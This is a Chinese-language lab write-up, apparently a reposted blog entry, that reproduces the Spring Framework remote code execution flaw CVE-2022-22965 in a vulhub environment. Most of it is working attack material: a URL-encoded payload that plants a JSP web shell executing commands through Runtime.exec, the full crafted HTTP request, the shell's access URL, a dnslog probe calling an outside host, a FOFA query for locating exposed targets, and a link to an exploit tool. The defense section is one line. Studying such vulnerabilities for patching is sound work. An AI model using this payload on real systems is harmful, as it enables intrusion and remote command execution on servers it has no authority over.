CVE-2022-22965 Spring Framework遠程代碼執行漏洞復現


0x00-引言


最近被論文搞的腦袋痛

0x01-環境搭建


靶機:CentOS Linux 7

攻擊機:windows server 2016 && Kail

環境:vulhub

項目地址:https://github.com/vulhub/vulhub

搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)

0x02-漏洞描述與分析


通過該漏洞可寫入webshell以及命令執行。在Spring框架的JDK9版本(及以上版本)中,遠程攻擊者可在滿足特定條件的基礎上,通過框架的參數綁定功能獲取AccessLogValve對象並注入惡意字段值,從而觸發pipeline機制並在任意路徑下寫入文件。

利用條件:

JDK版本>=9
使用對象綁定方式 (基本類型綁定場景不影響)
使用Tomcat容器

影響版本:

Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
並且使用了JDK版本 >= 9

反彈dnslog記錄:

?class.module.classLoader.resources.context.configFile=http://spring-jayway.i1y1tg.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx

fofa語句

app="vmware-SpringBoot-Framework"

0x03-漏洞復現


01-手工復現

部分poc

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

打開靶場image-20220407212009400

使用hackbar輸入poc-抓包

改包為以下

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.234.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 0

image-20220407212323203

訪問鏈接http://192.168.234.128:8080/tomcatwar.jsp?pwd=j&cmd=whoami

image-20220407212434617

02-工具寫入

https://github.com/crow821/crowsec/tree/master/Spring_RCE_CVE-2022-22965

image-20220407212740444

0x05-防御


升級或不用jdk9

0x06-參考


https://mp.weixin.qq.com/s/NYYOYvfnr0RbBbrlS0tlVA


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM